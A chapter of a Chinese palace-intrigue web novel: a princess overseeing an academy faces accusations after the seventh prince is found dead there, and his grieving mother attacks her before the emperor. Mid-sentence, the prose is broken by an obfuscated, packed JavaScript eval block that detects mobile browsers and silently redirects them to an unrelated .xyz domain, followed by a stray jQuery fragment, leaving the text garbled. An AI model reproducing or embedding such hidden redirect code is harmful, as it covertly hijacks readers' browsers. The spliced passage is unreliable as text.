送走了陵珩,赵熙出门闲逛一圈,学子们远远见到她的身影,就立刻换道躲开,若是避之不及,则不得不硬着头皮上来问安。
赵熙开玩笑说,他们怎的见鬼一般,她自问也不是无缘无故打骂之人,而且就算再怎么生气也不会要他们的命呀。
晴仪则回说,是他们心虚,只有做亏心事的人才会怕鬼半夜敲门。
赵熙不由被晴仪的话逗笑。
最后唯有一人,半点没有避开的意思。
赵熙看着径直走向她的晏安,正嘀咕他怎么还在这里,就想起父皇特意留他们熟悉工作环境的事。
差点忘了,他也要在这里上课。
“凤阳公主。”晏安躬身行礼,举止合宜,不卑不亢,一副谦谦公子模样。
赵熙看着他笔直的后背,心绪飘到半年前的琼华宴,那时父皇在宫里宴请新科状元榜眼探花以及其他进士,赵熙不知道吃错了什么东西,腹疼难忍,于是还没开宴就先回去了。
也不知道那时的晏安有没有见过她,若是见过,那么她在山庄所做的事,在他眼里岂不是十分的滑稽,像表演猴戏?
晴仪看到公主迟迟没有让人起身,连忙扯了扯主子的衣袖。
赵熙回过神,轻咳一声后:“免礼。”
她晃神了。
“不知晏大人找本宫,有何要事?”赵熙大大方方看他的脸,上一次两人一起偷窥别人约会,又被他扑倒在草地,可见此人并没有表面那样的拘束。
晏安:“在下只是见到公主,特意过来问安。”
赵熙:“晏大人客气了,眼下还是父皇安排的事要紧。”
赵熙冠冕堂皇地说着正事要紧。
“公主请放心,在下定不负皇恩。”
两人寒暄了几句,此地人来人往,赵熙不觉得这里是个谈话的地方,毕竟对方是个有未婚妻的人,于他于赵熙而言都不适合,于是准备离开。
“公主等等,你曾落了一样东西在在下这里,只是在下没带在身上,不知你何时有空,我好还给你。”
“本宫不记得落下了什么东西?……难道是我的心?”赵熙捂着心口,她实在想不出有什么东西在他那里,见他如此主动,于是打算逗他一逗。
晏安轻笑出声:“公主可真会说笑,在下曾拾到公主的一块玉佩,世子儿子周岁宴那天。”
赵熙回想了当天的事,顿时想起那块本来想要送给小侄子的玉佩,原来被晏安拾到了。
“本宫想起来了,既然在公子手里,那就送给公子吧,权当谢谢你了。”
也不是什么特殊含义的玉佩,既然都在他手上,就没啥理由拿回来。
晏安:“公主可知是贴身玉佩给男子的意思?”
赵熙迷蒙,最后实话实说:“不就是一块玉佩么,要是没丢,我就送给小侄子了。”
晏安怎么也想不到,外面都传凤阳公主好男色,喜欢玩弄男人,原来真的是字面上的意思。
“公主果然大度,不过在下也不敢随意收受公主的玉佩,只因……”晏安停顿了会,最后也实话实说,“送男子玉佩,有男女定情的意思。”
原来是这个意思,赵熙想起她曾送给陵珩的那些玉佩,好像除了难得的那三块暖玉,其他的他都退回来了。
但是,陵珩收了她的玉佩,也没跟她定情呀,可见这些所谓的定情说法,也是可以灵活应变的,觉得是就是,觉得不是,反正其他人也不知道。
现在晏安就连捡到的玉佩都不敢收,对她真是半点漪念、半点暧昧也没有,赵熙只能在心里表扬他拾金不昧了。
“多谢晏大人提醒,你若是要把玉佩还给我,派人送到公主府即可。”
赵熙可惜地叹了口气,若是琼华宴没有出状况,她应该早就认识他了,赶在他定亲前追他,没准现在就不要烦恼这些事了。
“好的,公主。”
一墙之后,王倩听到公主与晏安的几句对话,她只是刚好路过这里,听到晏安向公主打招呼,才知道俩人竟然认识。
他们何时相识的?难道公主也喜欢上晏安?
虽然她不喜欢晏安,也没有打算嫁给晏安,可以看到她在意的陵珩主动找公主,与她有婚约的晏安也是如此,她的心就十分不悦。
若不是凤阳公主的纠缠,陵珩又如何会犹豫不决,迟迟不愿与她在一起。
还有前天王倩下定决心写了一封信给晏安,言明她不想嫁给他,想要解除婚约,他竟然爽快回复可以,定然也是攀上公主这棵高枝,不稀罕王家了。
赵熙回府前,特意叮嘱书院要执行早上的迟到处罚,别以为她没看到,那几个迟到的远远看着她走出书院时高兴的样子。
这些人,不受点罚,如何长记性。
次日酉时还没到,赵熙就被晴仪摇醒。
迷迷糊糊睁开眼睛,赵熙用眼睛扫了眼窗外,黑漆漆一片,天还没亮,是府里发现什么大事了吗?要起那么早。
“晴仪,怎么了?”
晴仪:“公主,书院出事了!”
赵熙:“咋啦,书院着火了?”说完又搂了搂枕头,她困得很,根本不想起来。
晴仪:“七皇子死了,在书院死的!”
“死了就找个地埋了呀。”赵熙正要翻身时,动作突破顿住,猛地坐起身,“七弟在书院死了!”
晴仪:“嗯。”说完把所知道的一切告诉她。
赵熙以为在做梦:“我让七皇弟打扫学堂,他认为是奇耻大辱,在学堂上吊自杀!”
天亮之后,七皇子死的消息就被泄露出去,还传出是大公主欺负弟弟,一回来不是罚站就是罚他扫地,七皇子无法忍受大公主长期的压迫,又找不到人帮他,就想不开了。
赵熙听完,直骂那些人胡说八道。
昨天早上,他迟到,赵熙罚他站在门口,后面上课了便让他回去,期间都不耽阁他们的正常上课,只是让他们放学之后打扫学堂。
再说,七皇弟是个调皮的,整日带着一群勋贵子弟,迟到早退,喝酒逛花楼,他才不会想不开上吊自杀呢,他巴不得找老天再给他一百年。
“公主,事情已经发生,这些人只会捕风作影,算不得什么。”晴仪拿出颜色素净的宫装,出了这么大的事,赵熙作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533119|186429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为督学,无论如何都要进宫说明情况。
以赵熙对七皇弟的一些了解,他绝不会做傻事,那么就只有一个原因,这个娃被人杀了,凶手还想把这件事扣到赵熙的头上。
皇宫里,代美人踉踉跄跄跑到安和帝面前,扑在地上嚎啕大哭,恳求安和帝惩治凤阳公主。
安和帝让人扶起代美人。
“朕已将此事交由大理寺办理,这件事与熙儿有没有关系,还不能下定论。”安和帝并非昏庸之辈,他的女儿平日里说不得有多疼爱这群弟弟妹妹,但从未对他们动过手,更别说下这样的狠手。
他已经知道女儿昨日在书院做的一切,对这些迟到之人的处罚,也不算重罚,要是他,非得每人抽一顿,让他们都长长记性。
“陛下,他也是您的儿子,你不能如此偏袒大公主啊!”代美人带着哭腔嚎哭,她就这么一个儿子,如今儿子已死,她什么希望都没有了。
“朕如何偏袒熙儿,你来说说,外面的流言蜚语就能当作证据,然后让大理寺定熙儿死罪?你们可真是了不起,说谁是凶手,谁就是?朕的大理寺是当摆设用的吗?”
代美人被怼得哑口无言,加上安和帝已经发怒,她一时慌得不得了,可是想到儿子已死,自己又年老失宠,往后的日子也好过不到哪里,既然如此,她也不能让那些伤害过儿子的好过。
“陛下既然说交由大理寺审理,为何不让大理寺收押大公主,大公主是这件事的罪魁祸首,她也该受到应有的处罚。”代美人窝囊了半辈子,现在什么都不在意了。
“老七整日正事不干,一天到晚出去鬼混,怎么不见你这个母亲着急,现在他出事了,你攀咬人倒是挺积极的。”
代美人哽咽:“陛下不也如此,上次咱们皇儿的生辰,你连过问一句都没有,他那天等了你许久,迟迟都盼不来他的父皇。”
赵熙进来时,看到代美人趴在地上哭得撕心裂肺,父皇则是面露愧疚的呆坐在龙椅。
“父皇。”赵熙行礼问安。
安和帝看到赵熙招手让她走近一些,赵熙正要向前走,突然左侧闪过来一道人影。
赵熙的衣领被代美人狠狠揪着,一张像夜叉一样妆容凌乱双眼通红的脸砸了过来。
“你还我儿子,你这个凶手,为何要如此残忍杀我儿子!”
极度愤怒的人,手劲出奇的大,赵熙用力扒开紧紧抓住她的手,她眼见手动弹不了,又抬脚踢赵熙,很快内侍也跑过来拉开代美人,一群人扭成了团。
赵熙被这无妄之灾牵连,心中的怨气不比代美人少,见她如此执迷不悟,一巴掌甩到她脸上。
代美人被打懵了一瞬,突然拔下发簪,咬着牙用尽全身力气扎向赵熙的心口,赵熙反应快速,连忙躲开,最后无辜的内侍被扎到了手臂。
“代月,你竟然在这里公然行凶!来人,把她抓起来!”
赵熙被解救出来时,头发散乱,发簪都掉了一地。
代美人被两个内侍按在地上,她双眼红肿,龇牙吼道:“陛下,当年的皇后不就亲手杀了一个皇子,有其母必有其子,大公主有何下不了手!”